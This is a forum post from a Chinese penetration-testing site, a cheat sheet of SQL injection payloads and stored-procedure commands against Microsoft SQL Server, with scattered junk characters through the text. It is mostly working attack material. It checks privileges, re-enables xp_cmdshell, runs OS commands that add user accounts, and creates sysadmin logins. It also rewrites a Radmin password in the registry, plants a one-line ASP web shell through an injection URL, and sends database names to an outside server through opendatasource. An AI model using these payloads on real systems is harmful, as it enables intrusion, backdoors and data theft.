中国网络渗透测试联盟

标题: 常用的一些注入命令 [打印本页]

作者: admin    时间: 2012-9-15 14:40
标题: 常用的一些注入命令
//看看是什么权限的/ ^3 n( f: ^* i3 b  ?' ^8 R
and 1=(Select IS_MEMBER('db_owner'))
( {4 ]7 N8 o& z+ a/ ?; U/ G6 KAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
; i2 R4 P% a& `+ M& P; B9 a& c+ u! b( u
//检测是否有读取某数据库的权限
& V. u" W2 a1 l3 h8 _) jand 1= (Select HAS_DBACCESS('master'))- m* C( w% K  m! M1 }
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --7 ^) _2 p; v( M7 y7 Q- W2 y

2 v1 o  _5 O8 E' Z
6 p" w; \4 i  Y; Y数字类型4 g6 G9 N4 S) K. a2 e* T2 z
and char(124)%2Buser%2Bchar(124)=0' n8 M. v- U+ u( F0 [5 Z) S! x
0 M' E$ ^2 _- J# W* k
字符类型2 y) f" F4 g5 B. Y( A* f6 ^
' and char(124)%2Buser%2Bchar(124)=0 and ''=', l2 y! Q3 X) H. Y- S' Y+ `
* m* v9 w* G$ Y5 U7 ?
搜索类型
' v- \  b( e3 U' and char(124)%2Buser%2Bchar(124)=0 and '%'=', `+ y2 e) `* M4 t

2 I& V! i0 v9 b爆用户名+ h9 t( y" l+ G, {. S
and user>0
6 v$ v/ o  f. p4 V' P' and user>0 and ''='
2 u% S. e3 I. H& B1 c1 P: }2 ^$ V" \
检测是否为SA权限
( L, z/ [1 V, ^and 1=(select IS_SRVROLEMEMBER('sysadmin'));--! d+ j2 V7 L" E9 _; k! E! l8 S; J
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
: ], v4 ]3 Q) g/ T" T# r: h4 \1 {
. |9 }- Y3 l) H检测是不是MSSQL数据库3 R- |! @7 m3 T8 O
and exists (select * from sysobjects);--5 v/ P! W* F0 M+ i
3 q5 e) A- Z  O4 H4 M
检测是否支持多行
, T! B1 j" F9 m9 q;declare @d int;--$ h- F( f8 g" ^$ ^* `0 a! D

- N# E  J6 |4 @5 H7 ^2 V恢复 xp_cmdshell  b3 }' V. f1 e
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--- l- h, P$ j! i# h
! ]8 @4 v4 r* F9 f; S" K" @
0 L) v7 h/ ^) y! q& n2 S6 n
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
. F$ x: a# ~, c& P# W. m
# Z& V" J7 A0 x/ Q! o//-----------------------
# O: C! J2 S# f0 ?  D6 w4 u- a//       执行命令
2 t8 J  [6 O3 e- N% e( m//------------------------ }, [; l5 P# l5 g" j) J9 D8 F
首先开启沙盘模式:
/ |. W, s( }/ |! R" Oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 r8 U0 V2 E0 o0 Q' A7 G. E

: p$ W1 n6 t; ]8 |( c然后利用jet.oledb执行系统命令
# P+ w0 y+ `1 \  C+ jselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
* L; m5 J# y6 V* u5 G3 n
8 j6 m7 e; w2 W/ }$ Q执行命令
1 B( ^( S/ L( Q3 V, F$ x;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--2 w6 p2 a( p9 n# k
( }0 n; M, I2 A' S3 M4 N- z
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'( `5 f- g6 S6 x1 \
1 c/ R! a+ ]* p2 B0 X* ^" c7 a! [/ b
判断xp_cmdshell扩展存储过程是否存在:
* m; H3 z9 `/ c! V/ O* Ahttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')2 ~, O7 ^# k' N; C

/ F$ p% q) g! e8 N7 D- Z, K* J写注册表
' W2 h4 n! J6 H/ _exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 b3 l$ Z6 E2 T1 \4 c, r
* l6 a# z: \6 q9 O1 Y) H- E, C6 iREG_SZ
! A2 e. S4 b2 K* R5 F, Q" b* {% F3 m3 h
读注册表
$ C+ y- L6 l7 E& C; r0 a( Jexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
* J/ G5 G. Y& _& s! y! l
5 c/ R' Z, p! E1 l读取目录内容
5 B5 X! {8 ?9 l) x$ o5 C9 S& nexec master..xp_dirtree 'c:\winnt\system32\',1,1: o5 c0 q* }+ `% g% {

8 A  m) z- q6 h4 i. L4 P. ~$ W, |3 R& u* l! z  b: J; Z+ G* g. L
数据库备份
' Y- V6 z+ K# Q# Ibackup database pubs to disk = 'c:\123.bak'7 A; l, B# C  B4 a) t
- N5 U4 w! Q3 c8 @
//爆出长度3 r- _% q( G- n  a( W9 J% B) _
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
6 U9 B8 {% [+ p) ~1 P* t0 ]3 g/ s* A  }8 r8 Y# G: F

3 |8 |: P4 y% M2 ?
. o- X! T$ j  \, F更改sa口令方法:用sql综合利用工具连接后,执行命令:; K6 @6 C* m& a) E2 d
exec sp_password NULL,'新密码','sa'9 H! h; g5 m0 V5 b& h

+ r2 M9 c1 l; b6 ~7 Q( a% z6 O添加和删除一个SA权限的用户test:
2 b5 J& J! e5 H8 {$ D& ]3 ?0 _exec master.dbo.sp_addlogin test,9530772( G0 T* ]; z# K1 M8 `( h
exec master.dbo.sp_addsrvrolemember test,sysadmin
$ b% g8 I  w- D  e
. F( K: }2 h, X3 o( Z- ]/ a3 \删除扩展存储过过程xp_cmdshell的语句:' i; H6 t/ H+ R0 z8 _  S
exec sp_dropextendedproc 'xp_cmdshell'
/ K1 U/ ^3 a8 Y0 s; y* l' L4 @
& ^5 R  b. E  n添加扩展存储过过程) f$ a5 s3 \) m2 m
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
/ S. i* G, J  h2 k4 j- }GRANT exec On xp_proxiedadata TO public
) q+ i' z* m3 u( [4 k: u9 E& u1 W) E; k; k' B, o  o) F. f1 b9 ]

: o7 A( j. E  r/ r7 `" M0 u9 V停掉或激活某个服务。6 X& i* k" n' N5 K* X. a

' O6 n  K2 L7 u7 \7 j4 ^exec master..xp_servicecontrol 'stop','schedule'
2 n$ W8 j, k0 B- ]0 Dexec master..xp_servicecontrol 'start','schedule'
& I# R( U5 j+ m) |
( |. d7 ^1 ]* O- Odbo.xp_subdirs
6 K( s& ?2 I5 r0 X. w6 r2 N9 {( s' D" ^& L
只列某个目录下的子目录。
0 W8 S  x) s* N2 x* j$ @xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp') T# f& N: V! G) Y# C4 Z
. K5 @4 ~3 e+ y7 g% [8 S. g
dbo.xp_makecab6 ?. i. e3 {0 u  d% L- M$ P
% N/ T$ A! j- p( d, l: ~) O, \1 e
将目标多个档案压缩到某个目标档案之内。
( S+ L6 S* z9 ?. m9 |所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
2 v( K; t6 s4 d( m* b. ]8 `0 [: X' o
dbo.xp_makecab( b6 m+ y6 g, v- y
'c:\test.cab','mszip',1,
- K3 G9 L! \" S'C:\Inetpub\wwwroot\SQLInject\login.asp',6 w3 L+ f" O8 g
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'; S: A" c0 S0 w) F: b1 a

. Y4 _" d7 ]& M. V( ?& j( Pxp_terminate_process/ Z- S. e- a; n) V3 u. c& i( s
6 E1 R6 g. |: x) m7 P; [1 i
停掉某个执行中的程序,但赋予的参数是 Process ID。) \5 y, e, V& @2 s: \2 k" }3 A
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID- F1 G9 j: }4 l& g
- S+ G" a- C! L: X
xp_terminate_process 2484
' ?8 Q" M, n1 H4 {* m; p
1 L; U4 G7 X) f+ h3 M6 Q' Pxp_unpackcab
! _. J/ s7 `2 I8 W' o6 P' E+ O7 C/ Z
解开压缩档。
3 }- s+ D! Q1 G3 [0 n2 h8 N! |7 p0 W% Z+ M$ j: `1 P# e
xp_unpackcab 'c:\test.cab','c:\temp',1
' ]% K! @3 q% J# @$ k1 K" T2 [2 A) n. W# V# L" x, Q& w

" g2 I% c# c2 o7 I! }某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234) u( O% p4 `3 w7 E
- J/ y( j; Q9 ]
create database lcx;
& X( |* l) q; M' w: iCreate TABLE ku(name nvarchar(256) null);
, W; p" G( ]" mCreate TABLE biao(id int NULL,name nvarchar(256) null);
. W9 X% H1 `7 t
7 B0 G, R: z5 \( ^( E- R& Z5 j//得到数据库名
8 U+ F0 U+ H; O0 k, k: e1 [insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
) \0 H6 D. R/ [
/ M% k) F; Z# q; x! R6 t' J# v& x5 A% B
//在Master中创建表,看看权限怎样$ @2 U5 c7 ^: k+ {
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
" }0 \2 t" m% E6 }
+ X# e+ {, \" q! b: |" t用 sp_makewebtask直接在web目录里写入一句话马:3 ]* ~3 _; J  |' @: H  ?' x+ }# H8 v
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--+ u! L" G+ m. O/ d* @% _

  U/ t+ a, I5 N//更新表内容7 R: _' Y: {/ e9 {0 ~
Update films SET kind = 'Dramatic' Where id = 123* i% I4 Q* ?* V2 B

- Q8 C# b- x& ?% x% |& x: U//删除内容
% {7 v0 m; |& g& K6 n" Y  U9 {delete from table_name where Stockid = 3




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2